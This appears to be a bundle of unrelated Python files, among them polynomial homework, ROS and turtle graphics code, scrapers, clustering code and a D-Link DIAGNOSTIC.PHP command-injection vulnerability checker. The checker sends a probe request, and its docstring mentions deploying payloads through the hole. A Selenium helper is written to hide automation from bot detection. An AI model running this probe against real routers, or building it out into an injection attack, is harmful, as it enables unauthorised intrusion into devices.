    #   it is a bit subtle to get correct. Notice that it assumes that
    #   every Poly object stores a dict whose keys are powers and whose
    #   associated values are coefficients. This function does not depend
    #   on any other method in this class being written correctly.
    def __str__(self):
        def term(c,p,var):
            return (str(c) if p == 0 or c != 1 else '') +\
                   ('' if p == 0 else var+('^'+str(p) if p != 1 else ''))
        if len(self.terms) == 0:
            return '0'
        else:
            return ' + '.join([term(c,p,'x') for p,c in sorted(self.terms.items(),reverse=True)]).replace('+ -','- ')

    def __repr__(self):
        pair = ''
        for power, coeff in self.terms.items():
            pair += '('+str(coeff)+','+str(power)+'),'
        pair = pair.strip(',')
        return 'Poly('+pair+')'

    def __len__(self):
        if self.terms:
            return sorted(self.terms.items(), reverse=True)[0][0]
        else:
            return 0

    def __call__(self,arg):
        value = 0
        for power, coeff in self.terms.items():
            value += coeff*(arg**power)
        return value

    def __iter__(self):
        for power, coeff in sorted(self.terms.items(), reverse=True):
            yield coeff, power

    def __getitem__(self,index):
        if type(index) == int and index >=0:
            if index not in self.terms:
                return 0
            else:
                return self.terms[index]
        else:
            raise TypeError

    def __setitem__(self,index,value):
        if type(index) == int and index >= 0:
            if value == 0:
                if index in self.terms.keys():
                    del self.terms[index]
            else:
                self.terms[index] = value
        else:
            raise TypeError

    def __delitem__(self,index):
        if type(index) == int and index >= 0:
            if index in self.terms:
                del self.terms[index]
        else:
            raise TypeError

    def _add_term(self,c,p):
        if type(c) in (int, float) and type(p) == int and p >= 0:
            if p not in self.terms and c != 0:
                self.terms[p] = c
            elif p in self.terms:
                if self.terms[p] + c == 0:
                    del self.terms[p]
                else:
                    self.terms[p] = self.terms[p] + c
        else:
            raise TypeError

    def __add__(self,right):
        new = Poly()
        if type(right) == Poly:
            for p, c in right.terms.items():
                new._add_term(c, p)
            for p, c in self.terms.items():
                new._add_term(c, p)
        elif type(right) in (int, float):
            new._add_term(right, 0)
            for p, c in self.terms.items():
                new._add_term(c, p)
        else:
            raise TypeError
        return new

    def __radd__(self,left):
        return self.__add__(left)

    def __mul__(self,right):
        new = Poly()
        if type(right) == Poly:
            if right.terms:
                new = self
                for p, c in right.terms.items():
                    if c == 0:
                        for power, coeff in new.terms.items():
                            new.terms[power] = new.terms[power] * c
                    else:
                        for power, coeff in new.terms.items():
                            new.terms[power + p] = new.terms[power]
                            #del new.terms[power]
        elif type(right) in (int, float):
            for power, coeff in new.terms.items():
                new.terms[power] = coeff * right
        else:
            raise TypeError
        return new

    def __rmul__(self,left):
        pass

    def __eq__(self,right):
        if type(right) == Poly:
            return self.terms == right.terms

if __name__ == '__main__':
    # Some simple tests; you can comment them out and/or add your own before
    # the driver is called.
    print('Start simple tests')
    p = Poly((3,2),(-2,1), (4,0))
    print('  For Polynomial: 3x^2 - 2x + 4')
    print('  str(p):',p)
    print('  repr(p):',repr(p))
    print('  len(p):',len(p))
    print('  p(2):',p(2))
    print('  list collecting iterator results:',[t for t in p])
    print('  p+p:',p+p)
    print('  p+2:',p+2)
    print('  p*p:',p*p)
    print('  p*2:',p*2)
    print('End simple tests\n')

    import driver
    #driver.default_show_exception=True
    #driver.default_show_exception_message=True
    #driver.default_show_traceback=True
    driver.driver()

ics 33/solutions/ile2 solutions/Lab 5/LiTina/poly.py


#!/usr/bin/env python3
# import ROS for developing the node
import rospy

from geometry_msgs.msg import Twist
from turtlesim.msg import Pose

# for reading the force commands
force = 0.0

pos_cur = float()

key_released = True # by default we assume that they arrow key on keyboard is not pressed

# get the force value
def get_force(data):
	global force
	global key_released
	force = data.linear.x # update the force value
	key_released = False # now the key is pressed

# read the position value
def pose_callback(data):
	global pos_cur
	pos_cur = data.x

if __name__ == '__main__':

	# initialize the node
	rospy.init_node('turtle_inertia', anonymous = True)
	# declare a publisher to publish in the velocity command topic
	cmd_pub = rospy.Publisher('/turtle1/cmd_vel', Twist, queue_size = 10)
	# define the force command subscriber
	force_sub = rospy.Subscriber("/turtle1/cmd_force", Twist, get_force)
	# add a subscriber to it to read the position information
	pos_sub = rospy.Subscriber('/turtle1/pose', Pose, pose_callback)
	# set a 10Hz frequency for this loop
	freq = 10
	loop_rate = rospy.Rate(freq)
	# define the delta t
	dt = 1/freq

	# declare a variable of type Twist for sending control commands
	vel_cmd = Twist()
	# define the paremeters of the equations
	mass = 1.0 # m in the equations (kg)
	damping = 1.0 # b in the equations (Ns/m)
	vel_next = 0.0 # initialize the next velocity
	pos_prev = 0.0 # initialize the previous position
	# run this control loop regularly
	while not rospy.is_shutdown():
		print(key_released)
		if key_released:
			force = 0.0 # make sure to remove non-zero commands when key is released
		vel_cur = (pos_cur - pos_prev)/dt
		vel_next = dt/mass*(force - damping*vel_cur) + vel_cur
		print('force = ', force, ' (N) and linear velocity=', vel_cur, 'm/s', 'and next velocity=', vel_next, 'm/s')
		# set the linear (forward/backward) velocity command
		vel_cmd.linear.x = vel_next
		cmd_pub.publish(vel_cmd)
		# update the pose for next iteration
		pos_prev = pos_cur
		key_released = True # assume the key is not pressed unless we receive a new command which proves otherwise
		# wait for 0.1 seconds until the next loop and repeat
		loop_rate.sleep()


import sys
import turtle
import numpy as np
import random
from . import lsystem

def deviate(value, dev):
	return value * (2 ** np.random.normal(dev[0], dev[1])) + dev[2] + random.uniform(-dev[3], +dev[3])

#def draw_leaf(t):

def turtle_interprate(symbols, distance=5, angle=45, init_pos=(0,0), speed=0, pen_color='white', bg_color='black', mode='instant', print_progress=False, distance_dev=(0,0,0,0), angle_dev=(0,0,0,0)):
	window = turtle.Screen()
	window.bgcolor(bg_color)

	if print_progress:
		symbols_len = len(symbols)
	if mode == 'instant':
		turtle.tracer(0,0)

	turtle.tracer(0,0)
	stack = []

	t = turtle.Turtle()
	t.speed(speed)
	t.setheading(90)
	t.up()
	t.goto(init_pos)
	t.pencolor(pen_color)

	for i, symbol in enumerate(symbols):
		if symbol.char == 'F':
			t.down()
			if (symbol.parameters):
				t.forward(deviate(symbol.parameters[0], distance_dev))
			else:
				t.forward(deviate(distance, distance_dev))
		elif symbol.char == 'T':
			t.down()
			if (symbol.parameters):
				t.pensize(symbol.parameters[1])
				t.forward(deviate(symbol.parameters[0], distance_dev))
			else:
				t.forward(deviate(distance, distance_dev))
		elif symbol.char == 'f':
			t.up()
			if (symbol.parameters):
				t.forward(deviate(symbol.parameters[0], distance_dev))
			else:
				t.forward(deviate(distance, distance_dev))
		elif symbol.char == '+':
			if (symbol.parameters):
				t.left(deviate(symbol.parameters[0], angle_dev))
			else:
				t.left(deviate(angle, angle_dev))
		elif symbol.char == '-':
			if (symbol.parameters):
				t.right(deviate(symbol.parameters[0], angle_dev))
			else:
				t.right(deviate(angle, angle_dev))
		elif symbol.char == '[':
			stack.append([t.pos(), t.heading()])
		elif symbol.char == ']':
			t.hideturtle()
			t.up()
			pos, heading = stack.pop()
			t.goto(pos)
			t.setheading(heading)
		elif symbol.char == '!' and symbol.parameters:
			t.pensize(symbol.parameters[0])
		if print_progress:
			sys.stdout.write('\r' + 'Progress : ' + str(round((i/symbols_len)*100)) + '%')

	t.hideturtle()

	while True:
		if mode == 'instant':
			turtle.update()


#!/usr/bin/python
# https://www.udemy.com/course/complete-python-developer-zero-to-mastery/

# 246. Hacker News Project

# https://www.synerzip.com/blog/web-scraping-introduction-applications-and-best-practices/
# https://www.crummy.com/software/BeautifulSoup/
# https://www.crummy.com/software/BeautifulSoup/bs4/doc/

# https://scrapy.org/

# https://developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Selectors
# https://www.w3schools.com/css/css_selectors.asp
# https://www.w3schools.com/cssref/css_selectors.asp

# https://docs.python.org/3/library/pprint.html

# pip install beautifulsoup4
# pip install requests
from bs4 import BeautifulSoup
import requests
import pprint

RES= 'https://news.ycombinator.com/news'
POINTS = 200

res = requests.get(RES)
soup = BeautifulSoup(res.text, 'html.parser')
links = soup.select('.storylink')
subtext = soup.select('.subtext')

for i in range(2,4):
    res = requests.get(RES+'?p='+str(i))
    soup = BeautifulSoup(res.text, 'html.parser')
    links += soup.select('.storylink')
    subtext += soup.select('.subtext')

def sort_stories_by_votes(hnlist):
    return sorted(hnlist, key=lambda k:k['points'], reverse=True)

def create_custom_hn(links, subtext):
    hn = []
    for idx, item in enumerate(links):
        title= item.getText()
        href=item.get('href', None)
        vote=subtext[idx].select('.score')
        if len(vote):
            points=int(vote[0].getText().replace(' points', ''))
            if points >= POINTS:
                hn.append({'title':title, 'link':href, 'points':points})
    return sort_stories_by_votes(hn)

hacker_news= create_custom_hn(links, subtext)
pprint.pprint(hacker_news)


#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: Dlink DIAGNOSTIC.PHP命令执行
referer: https://www.exploit-db.com/exploits/24956
author: Lucifer
description: Some D-Link Routers are vulnerable to OS Command injection in the web interface.
On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On version 1.03 authentication is needed in order to trigger the vulnerability,
which has been fixed definitely on version 1.04. Other D-Link products, like DIR-300 rev B and DIR-600, are also affected by this vulnerability.
Not every device includes wget which we need for deploying our payload. On such devices you could use the cmd generic payload and try to start telnetd or execute other commands.
Since it is a blind OS command injection vulnerability, there is no output for the executed command when using the cmd generic payload. A ping command against a controlled system could be used for testing purposes.
This module has been tested successfully on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the vulnerability.
'''
import sys
import json
import requests

class router_dlink_command_exec_BaseVerify():
    def __init__(self, url):
        self.url = url

    def run(self):
        headers = {
            "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
        }
        post_data = {
            "act":"ping",
            "dst":"www.baidu.com"
        }
        payload = "/diagnostic.php"
        vulnurl = self.url + payload
        try:
            req = requests.post(vulnurl, data=post_data, headers=headers, timeout=10, verify=False)
            if r"<report>OK" in req.text:
                return "[+]存在Dlink DIAGNOSTIC.PHP命令执行漏洞...(高危)\tpayload: "+vulnurl+"\npost: "+json.dumps(post_data, indent=4)
            else:
                return "[-]no vuln"
        except:
            return "[-] ======>连接超时"

if __name__ == "__main__":
    testVuln = router_dlink_command_exec_BaseVerify(sys.argv[1])
    testVuln.run()


import rodMassParam as P
import loopshape_rodMass as L
import numpy as np

class controllerLoop:
    def __init__(self):
        self.A_C = L.Css.A
        self.B_C = L.Css.B
        self.C_C = L.Css.C
        self.D_C = L.Css.D
        self.A_F = L.Fss.A
        self.B_F = L.Fss.B
        self.C_F = L.Fss.C
        self.D_F = L.Fss.D
        n = self.A_C.shape[0]
        self.x_C = np.zeros((n, 1))
        n = self.A_F.shape[0]
        self.x_F = np.zeros((n, 1))
        self.limit = P.tau_max
        self.tau_eq = P.tau_eq
        self.Ts = P.Ts

    def update(self, theta_r, y):
        theta = y.item(0)

        #prefilter the reference command
        # solve differential equation defining prefilter
        if self.x_F.shape[0] == 0:
            theta_c_filtered = self.D_F * theta_r
        else:
            N = 10  # number of Euler integration steps
            for i in range(0, N):
                self.x_F = self.x_F + self.Ts / N * \
                           (self.A_F @ self.x_F + self.B_F @ np.array([theta_r]))
            # output equation for the prefilter
            theta_c_filtered = self.C_F * self.x_F + self.D_F * theta_r

        # error signal
        error = theta_c_filtered - theta

        # solve differential equation defining controller
        N = 10  #number of Euler integration steps
        for i in range(0, N):
            self.x_C = self.x_C + self.Ts / N * \
                       (self.A_C @ self.x_C + self.B_C * error )
        # output equation for the controller
        tau_tilde = self.C_C @ self.x_C + self.D_C * error

        # compute total torque
        # tau = self.saturate(self.tau_eq + tau_tilde)
        tau = self.tau_eq + tau_tilde

        return tau.item(0)


from selenium import webdriver # driver de selenium
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium_stealth import stealth # Ayuda a evitar que las webs nos detecten que somos un bot
from shutil import which

def iniciar_webdriver(headless=True):# Arranca webdriver con Chrome y lo devuelve
    options = Options()
    if headless:
        options.add_argument("--headless") # para ejecutar chromedriver, pero sin abrir la ventana
    options.add_argument("--window-size=1000,1000") # Configurar dimension ventana alto y ancho
    options.add_argument("--start-maximized") # para maximizar la ventana
    options.add_argument("--disable-dev-shm-usage") # Importante para usar en Heroku | Para usar un directorio temporal para crear archivos anonimos de memoria copartida
    options.add_argument("--disable-blink-features=AutomationControlled") # Para que el navigator.webdriver sea falso
    options.add_argument("--log-level=3") # Para que no muestre nada en la terminal
    lista = [
        "enable-automation", # Para ocultar "Un software automatizado de pruebas esta controlando chrome"
        "enable-logging", # Para ocultar Devtools
        ]
    options.add_experimental_option("excludeSwitches", lista)
    s = Service(which("chromedriver"))
    driver = webdriver.Chrome(service=s, options=options) #añadimos el argumento Options
    stealth(
        driver,
        languages=["es-ES", "es"],
        vendor="Google Inc.",
        platform="Win32",
        webgl_vendor="Intel Inc.",
        renderer="Intel Iris OpenGL Engine",
        fix_hairline=True,)
    return driver


#!/usr/bin/env python

from numpy import array
from math import sqrt

from pyspark import SparkContext
# from pyspark.mllib.clustering import KMeans, KMeansModel
from pyspark.mllib.clustering import KMeans

sc = SparkContext(appName="Kmeans Pyspark")

# Load and parse the data
data = sc.textFile("hdfs://localhost:9000/features/w2v/value_only")

parsedData = data.map(lambda line: array([float(x) for x in line.strip(' ').split(' ')]))

# Build the model (cluster the data)

clusters = KMeans.train(parsedData, 2, maxIterations=10, initializationMode="random")

# Evaluate clustering by computing Within Set Sum of Squared Errors
def error(point):
    center = clusters.centers[clusters.predict(point)]
    return sqrt(sum([x**2 for x in (point - center)]))

WSSSE = parsedData.map(lambda point: error(point)).reduce(lambda x, y: x + y)
print("Within Set Sum of Squared Error = " + str(WSSSE))

# Save and load model
clusters.save(sc, "hdfs://localhost:9000/kmeans/model")
# sameModel = KMeansModel.load(sc, "target/org/apache/spark/PythonKMeansExample/KMeansModel")


import csv
import logging
import os

logger = logging.getLogger("app_logger")

# Channels with extra long videos messing up the stats and to be deleted,
# or other channels you just don't want to include.
CHANNELS_NOT_TO_IMPORT = ["4k SCREENSAVERS", "Nature Relaxation Films", "4K Relaxation Channel"]

# Some extra long videos can be deleted but in that case these channels won't be touched.
IMPORTANT_CHANNELS = ["Lex Fridman", "Andrew Huberman"]

# Insert the data from the CSV file into the database.
def insert_data_into_database(conn, c):

    csv_file = os.path.abspath(os.getenv("CSV_FILE"))

    with open(csv_file, "r", encoding="UTF-8-sig") as csvfile:

        reader = csv.DictReader(csvfile, delimiter=";")

        inserted_videos = 0
        inserted_channels = 0
        inserted_actions = 0
        skipped_videos = 0

        logger.info("Inserting data into the database...")

        # Loop over each row in the CSV file.
        for row in reader:

            if  row["Channel"] in CHANNELS_NOT_TO_IMPORT:
                skipped_videos += 1
                continue

            c.execute("SELECT id FROM activity WHERE action = ? AND timestamp = ?",
                    (row["Action"], row["Timestamp"]))
            activity = c.fetchone()

            # If the action is already in the activity table, this is not the first time the script is run.
            if activity:
                continue

            c.execute("SELECT id, url FROM channel WHERE url = ?", (row["Channel URL"],))
            channel = c.fetchone()

            # If the channel doesn"t exist, insert it into the channels table.
            if not channel:
                channel_name = row["Channel"].strip()

                c.execute("""INSERT INTO channel (name, url)
                            VALUES (?, ?)""", (channel_name , row["Channel URL"],))
                channel_id = c.lastrowid
                inserted_channels += 1
            else:
                channel_id = channel[0]

            if "Title" in row and "URL" in row:
                c.execute("SELECT id FROM video WHERE title = ? AND url = ?", (row["Title"], row["URL"]))
                video = c.fetchone()

                # If the video doesn"t exist, insert it into the videos table.
                if not video:
                    c.execute("""INSERT INTO video (title, url, channel_id)
                                VALUES (?, ?, ?)""", (row.get("Title", None), row["URL"], channel_id))
                    video_id = c.lastrowid
                    inserted_videos += 1
                else:
                    video_id = video[0]

            c.execute("""INSERT INTO activity (action, timestamp, video_id, channel_id)
                        VALUES (?, ?, ?, ?)""", (row["Action"], row["Timestamp"], video_id, channel_id))
            inserted_actions += 1

        conn.commit()

        logger.info(f"Actions inserted: {inserted_actions}")
        logger.info(f"Unique videos inserted: {inserted_videos}")
        logger.info(f"Unique channels inserted: {inserted_channels}")

        if skipped_videos > 0:
            logger.info(f"{skipped_videos} videos skipped because channels were defined as excluded")

# Many streams are 10+ hours which mess up the watch time stats. 4 hours seemed to be a good average for me.
def delete_extra_long_videos(conn, c, max_length=4):

    min_length = max_length * 3600
    excluded_condition = ''

    if IMPORTANT_CHANNELS:
        excluded_condition = f"AND channel.name NOT IN ({','.join('?' for _ in IMPORTANT_CHANNELS)})"
    else:
        excluded_condition = ''

    query = f"""
        DELETE FROM video
        WHERE id IN (
            SELECT video.id
            FROM video
            JOIN channel ON video.channel_id = channel.id
            WHERE video.length > ?
            {excluded_condition}
            ORDER BY video.length DESC)
    """

    c.execute(query, [min_length] + IMPORTANT_CHANNELS)
    conn.commit()

    if c.rowcount > 0:
        logger.info(f"Deleted {c.rowcount} extra long videos.")

# Delete channels that have no videos and vice versa.
def delete_orphans(conn, c):

    c.execute("DELETE FROM channel WHERE id NOT IN (SELECT DISTINCT channel_id FROM video)")

    rowcount = c.rowcount

    c.execute("DELETE FROM activity WHERE channel_id NOT IN (SELECT id FROM channel)")
    c.execute("DELETE FROM video WHERE channel_id NOT IN (SELECT id FROM channel)")
    c.execute("DELETE FROM video_stat WHERE video_id NOT IN (SELECT id FROM video)")
    c.execute("DELETE FROM channel_stat WHERE channel_id NOT IN (SELECT id FROM channel)")
    conn.commit()

    if rowcount > 0:
        logger.info(f"Deleted {c.rowcount} empty channels.")


"""!

@brief Cluster analysis algorithm: X-Means
@details Implementation based on papers @cite article::xmeans::1, @cite article::xmeans::mndl

@authors Andrei Novikov (pyclustering@yandex.ru)
@date 2014-2020
@copyright BSD-3-Clause

"""

import copy
import numpy

from enum import IntEnum
from math import log

from pyclustering.cluster.encoder import type_encoding
from pyclustering.cluster.kmeans import kmeans
from pyclustering.cluster.center_initializer import kmeans_plusplus_initializer

from pyclustering.core.metric_wrapper import metric_wrapper
from pyclustering.core.wrapper import ccore_library

import pyclustering.core.xmeans_wrapper as wrapper

from pyclustering.utils import distance_metric, type_metric

class splitting_type(IntEnum):
    """!
    @brief Enumeration of splitting types that can be used as splitting creation of cluster in X-Means algorithm.

    """

    ## Bayesian information criterion (BIC) to approximate the correct number of clusters.
    ## Kass's formula is used to calculate BIC:
    ## \f[BIC(\theta) = L(D) - \frac{1}{2}pln(N)\f]
    ##
    ## The number of free parameters \f$p\f$ is simply the sum of \f$K - 1\f$ class probabilities, \f$MK\f$ centroid coordinates, and one variance estimate:
    ## \f[p = (K - 1) + MK + 1\f]
    ##
    ## The log-likelihood of the data:
    ## \f[L(D) = n_jln(n_j) - n_jln(N) - \frac{n_j}{2}ln(2\pi) - \frac{n_jd}{2}ln(\hat{\sigma}^2) - \frac{n_j - K}{2}\f]
    ##
    ## The maximum likelihood estimate (MLE) for the variance:
    ## \f[\hat{\sigma}^2 = \frac{1}{N - K}\sum\limits_{j}\sum\limits_{i}||x_{ij} - \hat{C}_j||^2\f]
    BAYESIAN_INFORMATION_CRITERION = 0

    ## Minimum noiseless description length (MNDL) to approximate the correct number of clusters @cite article::xmeans::mndl.
    ## Beheshti's formula is used to calculate upper bound:
    ## \f[Z = \frac{\sigma^2 \sqrt{2K} }{N}(\sqrt{2K} + \beta) + W - \sigma^2 + \frac{2\alpha\sigma}{\sqrt{N}}\sqrt{\frac{\alpha^2\sigma^2}{N} + W - \left(1 - \frac{K}{N}\right)\frac{\sigma^2}{2}} + \frac{2\alpha^2\sigma^2}{N}\f]
    ##
    ## where \f$\alpha\f$ and \f$\beta\f$ represent the parameters for validation probability and confidence probability.
    ##
    ## To improve clustering results some contradiction is introduced:
    ## \f[W = \frac{1}{n_j}\sum\limits_{i}||x_{ij} - \hat{C}_j||\f]
    ## \f[\hat{\sigma}^2 = \frac{1}{N - K}\sum\limits_{j}\sum\limits_{i}||x_{ij} - \hat{C}_j||\f]
    MINIMUM_NOISELESS_DESCRIPTION_LENGTH = 1

class xmeans:
    """!
    @brief Class represents clustering algorithm X-Means.
    @details X-means clustering method starts with the assumption of having a minimum number of clusters,
             and then dynamically increases them. X-means uses specified splitting criterion to control
             the process of splitting clusters. Method K-Means++ can be used for calculation of initial centers.

             CCORE implementation of the algorithm uses thread pool to parallelize the clustering process.

    Here example how to perform cluster analysis using X-Means algorithm:
    @code
        from pyclustering.cluster import cluster_visualizer
        from pyclustering.cluster.xmeans import xmeans
        from pyclustering.cluster.center_initializer import kmeans_plusplus_initializer
        from pyclustering.utils import read_sample
        from pyclustering.samples.definitions import SIMPLE_SAMPLES

        # Read sample 'simple3' from file.
        sample = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE3)

        # Prepare initial centers - amount of initial centers defines amount of clusters from which X-Means will
        # start analysis.
        amount_initial_centers = 2
        initial_centers = kmeans_plusplus_initializer(sample, amount_initial_centers).initialize()

        # Create instance of X-Means algorithm. The algorithm will start analysis from 2 clusters, the maximum
        # number of clusters that can be allocated is 20.
        xmeans_instance = xmeans(sample, initial_centers, 20)
        xmeans_instance.process()

        # Extract clustering results: clusters and their centers
        clusters = xmeans_instance.get_clusters()
        centers = xmeans_instance.get_centers()

        # Print total sum of metric errors
        print("Total WCE:", xmeans_instance.get_total_wce())

        # Visualize clustering results
        visualizer = cluster_visualizer()
        visualizer.append_clusters(clusters, sample)
        visualizer.append_cluster(centers, None, marker='*', markersize=10)
        visualizer.show()
    @endcode

    Visualization of clustering results that were obtained using code above and where X-Means algorithm allocates four clusters.
    @image html xmeans_clustering_simple3.png "Fig. 1. X-Means clustering results (data 'Simple3')."

    By default X-Means clustering algorithm uses Bayesian Information Criterion (BIC) to approximate the correct number
    of clusters. There is an example where another criterion Minimum Noiseless Description Length (MNDL) is used in order
    to find optimal amount of clusters:
    @code
        from pyclustering.cluster import cluster_visualizer
        from pyclustering.cluster.xmeans import xmeans, splitting_type
        from pyclustering.cluster.center_initializer import kmeans_plusplus_initializer
        from pyclustering.utils import read_sample
        from pyclustering.samples.definitions import FCPS_SAMPLES

        # Read sample 'Target'.
        sample = read_sample(FCPS_SAMPLES.SAMPLE_TARGET)

        # Prepare initial centers - amount of initial centers defines amount of clusters from which X-Means will start analysis.
        random_seed = 1000
        amount_initial_centers = 3
        initial_centers = kmeans_plusplus_initializer(sample, amount_initial_centers, random_state=random_seed).initialize()

        # Create instance of X-Means algorithm with MNDL splitting criterion.
        xmeans_mndl = xmeans(sample, initial_centers, 20, splitting_type=splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH, random_state=random_seed)
        xmeans_mndl.process()

        # Extract X-Means MNDL clustering results.
        mndl_clusters = xmeans_mndl.get_clusters()

        # Visualize clustering results.
        visualizer = cluster_visualizer(titles=['X-Means with MNDL criterion'])
        visualizer.append_clusters(mndl_clusters, sample)
        visualizer.show()
    @endcode

    @image html xmeans_clustering_mndl_target.png "Fig. 2. X-Means MNDL clustering results (data 'Target')."

    As in many others algorithms, it is possible to specify metric that should be used for cluster analysis, for
    example, Chebyshev distance metric:
    @code
        # Create instance of X-Means algorithm with Chebyshev distance metric.
        chebyshev_metric = distance_metric(type_metric.CHEBYSHEV)
        xmeans_instance = xmeans(sample, initial_centers, max_clusters_amount, metric=chebyshev_metric).process()
    @endcode

    @see center_initializer

    """

    def __init__(self, data, initial_centers=None, kmax=20, tolerance=0.001, criterion=splitting_type.BAYESIAN_INFORMATION_CRITERION, ccore=True, **kwargs):
        """!
        @brief Constructor of clustering algorithm X-Means.

        @param[in] data (array_like): Input data that is presented as list of points (objects), each point should be represented by list or tuple.
        @param[in] initial_centers (list): Initial coordinates of centers of clusters that are represented by list: `[center1, center2, ...]`,
                    if it is not specified then X-Means starts from the random center.
        @param[in] kmax (uint): Maximum number of clusters that can be allocated.
        @param[in] tolerance (double): Stop condition for each iteration: if maximum value of change of centers of clusters is less than tolerance than algorithm will stop processing.
        @param[in] criterion (splitting_type): Type of splitting creation (by default `splitting_type.BAYESIAN_INFORMATION_CRITERION`).
        @param[in] ccore (bool): Defines if C++ pyclustering library should be used instead of Python implementation.
        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: `repeat`, `random_state`, `metric`, `alpha`, `beta`).

        Keyword Args:

            - repeat (unit): How many times K-Means should be run to improve parameters (by default is `1`).
               With larger `repeat` values suggesting higher probability of finding global optimum.
            - random_state (int): Seed for random state (by default is `None`, current system time is used).
            - metric (distance_metric): Metric that is used for distance calculation between two points (by default
               euclidean square distance).
            - alpha (double): Parameter distributed [0.0, 1.0] for alpha probabilistic bound \f$Q\left(\alpha\right)\f$.
               The parameter is used only in case of MNDL splitting criterion, in all other cases this value is ignored.
            - beta (double): Parameter distributed [0.0, 1.0] for beta probabilistic bound \f$Q\left(\beta\right)\f$.
               The parameter is used only in case of MNDL splitting criterion, in all other cases this value is ignored.

        """

        self.__pointer_data = numpy.array(data)
        self.__clusters = []
        self.__random_state = kwargs.get('random_state', None)
        self.__metric = copy.copy(kwargs.get('metric', distance_metric(type_metric.EUCLIDEAN_SQUARE)))

        if initial_centers is not None:
            self.__centers = numpy.array(initial_centers)
        else:
            self.__centers = kmeans_plusplus_initializer(data, 2, random_state=self.__random_state).initialize()

        self.__kmax = kmax
        self.__tolerance = tolerance
        self.__criterion = criterion
        self.__total_wce = 0.0
        self.__repeat = kwargs.get('repeat', 1)
        self.__alpha = kwargs.get('alpha', 0.9)
        self.__beta = kwargs.get('beta', 0.9)

        self.__ccore = ccore and self.__metric.get_type() != type_metric.USER_DEFINED
        if self.__ccore is True:
            self.__ccore = ccore_library.workable()

        self.__verify_arguments()

    def process(self):
        """!
        @brief Performs cluster analysis in line with rules of X-Means algorithm.

        @return (xmeans) Returns itself (X-Means instance).

        @see get_clusters()
        @see get_centers()

        """

        if self.__ccore is True:
            self.__process_by_ccore()

        else:
            self.__process_by_python()

        return self

    def __process_by_ccore(self):
        """!
        @brief Performs cluster analysis using CCORE (C/C++ part of pyclustering library).

        """

        ccore_metric = metric_wrapper.create_instance(self.__metric)

        result = wrapper.xmeans(self.__pointer_data, self.__centers, self.__kmax, self.__tolerance, self.__criterion,
                                self.__alpha, self.__beta, self.__repeat, self.__random_state,
                                ccore_metric.get_pointer())

        self.__clusters = result[0]
        self.__centers = result[1]
        self.__total_wce = result[2][0]

    def __process_by_python(self):
        """!
        @brief Performs cluster analysis using python code.

        """

        self.__clusters = []
        while len(self.__centers) <= self.__kmax:
            current_cluster_number = len(self.__centers)

            self.__clusters, self.__centers, _ = self.__improve_parameters(self.__centers)
            allocated_centers = self.__improve_structure(self.__clusters, self.__centers)

            if current_cluster_number == len(allocated_centers):
                break
            else:
                self.__centers = allocated_centers

        self.__clusters, self.__centers, self.__total_wce = self.__improve_parameters(self.__centers)

    def predict(self, points):
        """!
        @brief Calculates the closest cluster to each point.

        @param[in] points (array_like): Points for which closest clusters are calculated.

        @return (list) List of closest clusters for each point. Each cluster is denoted by index. Return empty
                 collection if 'process()' method was not called.

        An example how to calculate (or predict) the closest cluster to specified points.
        @code
            from pyclustering.cluster.xmeans import xmeans
            from pyclustering.samples.definitions import SIMPLE_SAMPLES
            from pyclustering.utils import read_sample

            # Load list of points for cluster analysis.
            sample = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE3)

            # Initial centers for sample 'Simple3'.
            initial_centers = [[0.2, 0.1], [4.0, 1.0], [2.0, 2.0], [2.3, 3.9]]

            # Create instance of X-Means algorithm with prepared centers.
            xmeans_instance = xmeans(sample, initial_centers)

            # Run cluster analysis.
            xmeans_instance.process()

            # Calculate the closest cluster to following two points.
            points = [[0.25, 0.2], [2.5, 4.0]]
            closest_clusters = xmeans_instance.predict(points)
            print(closest_clusters)
        @endcode

        """
        nppoints = numpy.array(points)
        if len(self.__clusters) == 0:
            return []

        self.__metric.enable_numpy_usage()

        npcenters = numpy.array(self.__centers)
        differences = numpy.zeros((len(nppoints), len(npcenters)))
        for index_point in range(len(nppoints)):
            differences[index_point] = self.__metric(nppoints[index_point], npcenters)

        self.__metric.disable_numpy_usage()

        return numpy.argmin(differences, axis=1)

    def get_clusters(self):
        """!
        @brief Returns list of allocated clusters, each cluster contains indexes of objects in list of data.

        @return (list) List of allocated clusters.

        @see process()
        @see get_centers()
        @see get_total_wce()

        """

        return self.__clusters

    def get_centers(self):
        """!
        @brief Returns list of centers for allocated clusters.

        @return (list) List of centers for allocated clusters.

        @see process()
        @see get_clusters()
        @see get_total_wce()

        """

        return self.__centers

    def get_cluster_encoding(self):
        """!
        @brief Returns clustering result representation type that indicate how clusters are encoded.

        @return (type_encoding) Clustering result representation.

        @see get_clusters()

        """

        return type_encoding.CLUSTER_INDEX_LIST_SEPARATION

    def get_total_wce(self):
        """!
        @brief Returns sum of Euclidean Squared metric errors (SSE - Sum of Squared Errors).
        @details Sum of metric errors is calculated using distance between point and its center:
                 \f[error=\sum_{i=0}^{N}euclidean_square_distance(x_{i}-center(x_{i}))\f]

        @see process()
        @see get_clusters()

        """

        return self.__total_wce

    def __search_optimial_parameters(self, local_data):
        """!
        @brief Split data of the region into two cluster and tries to find global optimum by running k-means clustering
                several times (defined by 'repeat' argument).

        @param[in] local_data (list): Points of a region that should be split into two clusters.

        @return (tuple) List of allocated clusters, list of centers and total WCE (clusters, centers, wce).

        """
        optimal_wce, optimal_centers, optimal_clusters = float('+inf'), None, None

        for _ in range(self.__repeat):
            candidates = 5
            if len(local_data) < candidates:
                candidates = len(local_data)

            local_centers = kmeans_plusplus_initializer(local_data, 2, candidates, random_state=self.__random_state).initialize()

            kmeans_instance = kmeans(local_data, local_centers, tolerance=self.__tolerance, ccore=False, metric=self.__metric)
            kmeans_instance.process()

            local_wce = kmeans_instance.get_total_wce()
            if local_wce < optimal_wce:
                optimal_centers = kmeans_instance.get_centers()
                optimal_clusters = kmeans_instance.get_clusters()
                optimal_wce = local_wce

